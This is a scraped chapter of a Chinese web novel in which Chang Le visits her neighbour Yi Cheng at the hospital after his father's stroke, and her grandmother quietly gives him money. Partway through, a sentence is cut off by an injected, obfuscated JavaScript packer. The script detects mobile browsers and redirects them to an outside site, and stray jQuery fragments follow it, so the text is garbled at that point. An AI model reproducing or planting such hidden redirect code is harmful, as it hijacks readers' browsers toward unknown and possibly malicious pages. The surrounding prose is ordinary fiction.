上午，天空阴沉沉的，气温降到了个位数。
常乐戴好口罩，提着水果和牛奶，搭公交车去了人民医院，找到了神经内科的病房。
易叔叔被安置在重症病房，正对着护士站。里面对称摆放着六张病床，中间用蓝色布帘隔开。
常乐蹑手蹑脚地走进去，透过布帘的缝隙，看到第一张床上躺着个老人，喘气声粗重黏腻，一个护士正在床边帮他吸痰。
第二张床上的病人歪着脑袋，脸颊凹陷下去，直勾勾地盯着天花板，眼珠一动不动。
常乐忽然想起，高中时，她在好词好句本里抄下一句话：天花板是病人的一部看不完的书。
那时候，她尚且不知人间疾苦。此时此刻，看到这样的眼神，她才真正读懂了这句话。
一直往里走，她终于看见易诚。他坐在陪护椅上，双臂抱怀，仰头靠着椅背，闭着眼，眉心微蹙。
听到脚步声，他缓缓睁开眼，看见常乐，有一瞬间的愕然。
“你怎么来了？”他回过神来，急忙起身迎接。
“我昨天晚上刚回小区，就看见你们的救护车了。”常乐把几袋水果放在地上，从里面拎起两袋小吃递给他，“还没吃早饭吧？在医院门口买的小笼包和豆浆，赶紧吃吧。”
易诚接过早饭。小笼包是新鲜出炉的，还散发着热气，手心被熨帖得微微发烫。
他让常乐坐陪护椅，自己则坐在床尾，拿起豆浆，喝了几口。
常乐看向床上的易叔叔。
他还在昏睡中，两只手插满了管子，氧气面罩挡住了他瘦削的下半张脸，床头的仪器发出轻微而有节律的嘀响。
“怎么突然发病了？”常乐小声问易诚，“是摔倒了吗？”
易诚摇摇头，一口气喝完剩下的豆浆，低头看着手心。
“脑梗就是很容易复发，尤其是在冬天。”他低声说，“昨天他半夜起来上厕所，忽然吐了，之后就倒在地上。我赶紧打了120，送到医院做了溶栓，这才救回来一条命。”
常乐舒了一口气，“抢救回来了就好。”
“医生说……”
易诚看了眼床上的父亲，又低头看着手中的小笼包，后面的话哽在了喉咙里。
沉默片刻，他重新开口：“对不起啊，我现在……有点吃不下。”
“没事儿。”常乐从他手里拿走小笼包，又从袋子里掏出一个耙耙柑递给他，“先吃点水果吧。”
易诚扒开耙耙柑，给她分了一半，正要将另一半往嘴里塞时，忽然被她一把拽住袖子——
“哎呀，我忘了，你刚喝了豆浆，不能马上吃这个。”
常乐从他手里拿走耙耙柑，又在装水果的袋子里挑挑拣拣，最后掰下两根香蕉。
“先吃这个吧，补充点能量。”
易诚脸上终于露出一丝笑容，俯身查看地上的袋子，“带了这么多吃的？还有什么？”
“苹果、香蕉、饼干，你饿了就吃点垫垫肚子。”常乐又从里面掏出两包零食，“这是我带回来的特产，给你尝尝。”
一包是香辣鳗鱼丝，一包是炭烤鱿鱼丝。
易诚接过零食，饶有兴致地读起了袋子上的介绍：正宗闽南风味，原味手撕好口感，层层鲜香看得见。
“对了，还没问你呢，出去玩得怎么样？”
“唉，别提了。”常乐一脸苦大仇深，“总结起来就五个字——花钱买罪受。”
易诚没参加过这种团，但也略有耳闻：“跟团游就是很累。”
常乐吐槽道：“不止是累，还很憋屈，你懂吗？那个导游简直把我们当大肥羊啊，一波接一波地薅。”
易诚正要接话，病房门外忽然传来一声呼喊：“6号床的家属，出来一下。”
易诚急忙起身，正要跟常乐交代几句，常乐冲他摆摆手，“你去吧，我在这里看着，不会有事的。”
病房门口，护士递给易诚一张纸，常乐隐约听到她说：“你先往卡里充三万块吧，他这种情况，至少要在这里住一个星期……”
易诚的侧影很清瘦。他微微弓着背，低头看着手中的纸，温顺地点点头。
他走了进来，常乐急忙将视线转向病床。
“我得下去一趟。”易诚从床头柜里拿出一个黑包，回过头叮嘱常乐：“这边就麻烦你照看一下，要是输液快到底了，就摁这个键，喊护士过来。”他指向床头一个圆形按钮。
常乐站起身，仰头看着他。
他眼底有深深的倦意，下巴泛着青色的胡茬。几天不见，他又添了几分沧桑。
“行，你下去吧。”常乐弯起唇角，“我就在这儿守着，哪儿也不去。”
易诚点点头，转身正要走，又被常乐喊住：“哎，你那个……”
易诚回过头，“怎么了？”
常乐咬了咬唇，斟酌片刻，才小声说：“你钱够吗？要是不够，我这里还有。”
“够了。”易诚垂下眼帘，那张薄薄的缴费通知单攥在手里，如刀刃切割着掌心。
“……谢谢你。”许久，他低声说。
常乐坐回椅子上，冲他摆摆手，“快去吧。”
时间过得很慢。常乐盯着输液袋，里面还剩大半，暂时不用操心。
可她也不想看手机。沉重的现实就横亘在面前，手机里那些娱乐八卦和家长里短，此刻显得那么肤浅而聒噪。
也许，这个世界大部分时候都是肤浅而聒噪的。可是，人总要在某些时刻，不得不面对一些更深刻、更沉重的问题。
易诚很快就回来了。他微微喘着气，把黑包放进床头柜，然后查看床头仪表上的数字。
“放心吧，没什么事。”常乐安慰道。
易诚检查无误后，又坐到床尾，垂眸看着她，真诚地道谢。
病房里的时间格外难熬。但是有人作伴，总好过一个人孤独承受。
这个上午，常乐跟易诚聊了很多，从这次跟团游的各种奇葩经历，到昨天晚上姥姥把姥爷暴打一顿的搞笑画面，易诚不时被她逗笑，虽然嘴角弯起的弧度很浅，但能看出来，他眼底的阴霾消散了不少。
易诚也跟她聊起了往事，更多的是关于他记忆中的父亲。
易叔叔年轻的时候喜欢写诗，给出版社投稿无数，有几篇还被选上了，刊印在一本现代诗合集里。那本书至今还锁在他家的书桌抽屉里。
易叔叔还喜欢骑摩托，载着小小的易诚去郊外兜风，碾过春天柔软的芦苇丛，夏天翠绿的玉米地，秋天覆满落叶的树林，冬天荒芜的田野。
直到易诚的母亲去世，他备受打击，情绪不振，又不得不独自承受养家和育儿的双重压力。渐渐地，他被琐碎乏味的生活淹没，再也没有做过关于诗和远方的梦。
常乐好奇地问：“是那辆改造成边三轮的摩托吗？”
易诚点点头，淡笑道：“你还记得？”
“是啊。”常乐怀念地说。
她还记得那锃亮的金属外壳，引擎的轰鸣声，还有坐在车上时，凉风扑打在脸上，那种自由的感觉。
“后来他生病了，骑不了摩托，我就把车卖了。”易诚看向病床上的父亲，“他还发了好大的火，跟小孩子一样。”
常乐笑了，“你跟他说，等以后病好了，再给他买辆新的嘛。”
易诚沉默片刻，继续说：“他喜欢看抖音上那些骑行博主，什么骑摩托车环球旅行、骑自行车进藏，甚至还有骑三轮环游全国的。去年，他一直关注的一个骑行博主失联了，他担心了好久，天天问我那人找到了吗。”
常乐若有所思地看着病床上的易叔叔。
谁不曾梦想仗剑走天涯。可惜，年轻时没钱，中年时没时间，到老了，倒是有钱又有时间了，只可惜，没有一具能承载自由灵魂的身体。
她忽然理解了姥姥为什么喜欢报团旅游。一方面，独自旅行她已力不从心，只有集体才能带给她安全感；另一方面，她又想在有限的晚年时光里，尽可能地去看见更大更远的世界。
直到中午，常乐才离开病房。
她本想下去给易诚买份盒饭，但他已经拿起凉透了的小笼包吃了起来，说不能浪费。
常乐坐在回程的公交车上，窗外开始下起了雨。从一开始的濛濛细雨，渐渐越下越大，最后竟发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773083|171701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
展成倾盆之势。
隔着厚厚的雨幕，她看着街头奔跑的中学生、穿着雨衣骑电瓶车的女人、扶着大伞不被风吹倒的小摊贩……
一直压在心头那种沉甸甸的情绪，慢慢释然了。
生活的大雨不期而遇。有车接送、有人撑伞的人，固然令人羡慕。可是，在风雨中奋力前行的人，才更令人佩服。
常乐淋成落汤鸡回了家。
姥姥赶忙迎上来，一边递上毛巾一边骂道：“真是个驴脑子，出门也不看天气！赶紧去洗个澡。”
常乐脱下湿透的羽绒服，正要钻进洗手间，又被她喊住：“哎，易诚他爸怎么样？”
“救回了一命，但是人还没醒。”
“医生怎么说？”
常乐摇摇头，“易诚没说，我也就没多问。估计……情况不太好。”
姥爷端着茶杯从卧室出来，叹气道：“这种病一旦复发，致残率和致死率都很高，就算抢救回来，也可能……唉，万般皆是命，半点不由人啊。”
“可怜啊……”姥姥唏嘘道，“大人小孩都遭罪。”
常乐没说话，转身关上洗手间的门。
傍晚时分，雨渐渐停了。姥姥早早地做好了晚饭，装进保温桶，又将保温桶装进一个帆布袋里，并嘱咐常乐：“小心点，汤别洒出来了。”
“知道了。”常乐提起袋子，正要出门，姥姥又提醒道：“带伞！带伞！”
常乐在小区门口的小超市买了些日用品，一并带去了人民医院。
易诚见到她，很是诧异。
“还没吃晚饭吧？”常乐把帆布袋到床头柜上，“我姥姥给你做的。还有这些——”她打开塑料袋给易诚看，“牙刷、牙膏、毛巾什么的，你看看缺什么，我再去买。”
易诚愣愣地看着塑料袋，又看向她，嘴唇翕张着，久久说不出话。
常乐笑了笑，将袋子放在地上，搡搡他的胳膊，“傻愣着干什么，赶紧吃啊。”
易诚低着头，喉结向下轻滚，哑声说：“给你们添麻烦了。”
“一点小事，别客气。”常乐坐在床尾，视线落在易叔叔的脸上，声音低了几分：“你爸还没醒吗？”
“下午醒了一会儿，能认人了，现在又睡了。”
易诚从帆布袋里提起保温桶，视线往里一扫，忽然顿住，提桶的手也僵在空中。
“怎么了？”常乐急忙起身，探头望去，“汤洒了吗？”
易诚放下保温桶，从帆布袋底部拿出一个黄色的牛皮纸信封，正面写着几个字：“祝早日康复。”
常乐一下子明白过来了。
看这信封的厚度，里面的金额还不小呢。
没想到啊，这个抠门的小老太太，关键时刻还挺仗义。
常乐解释道：“应该是我姥姥放的。他们那辈人就这样，塞钱都偷偷摸摸的。”
易诚垂眸看着信封，神色有些复杂，有惊讶，有感动，但更多的是凝重。
他将信封递给常乐，说：“帮我还给你姥姥吧，就说她的心意我收到了，钱就不必了。你们一家人已经为我做了很多，不用再这么客气。”
常乐双手插兜，往后退了几步。
“又不是我给的，是姥姥给的，要还你自己去还。”顿了顿，她继续劝说，“再说了，这是给你爸的，又不是给你的，你先替他保管着呗。”
易诚拿信封的手还伸在空中，迟迟没有放下。
“常乐……”
他轻喊她的名字，语气有些无奈。
常乐绕到病床的另一侧，防止他硬要把信封塞到自己怀里。
“行了，别撕吧了，搞得我怪不好意思的。”她笑了笑，又催促道：“赶紧吃饭啊，我还得把保温桶带回去呢。”
易诚的手落下了。
他沉默地吃完了所有的饭菜，又喝完了热气腾腾的排骨藕汤。
听说，人在极度难过的时候，是吃不下任何东西的。
易诚还能吃得下饭，说明他的身心还没被击垮，一切还没有那么糟。
常乐稍感宽慰。
只要能吃能睡，人生就还有希望。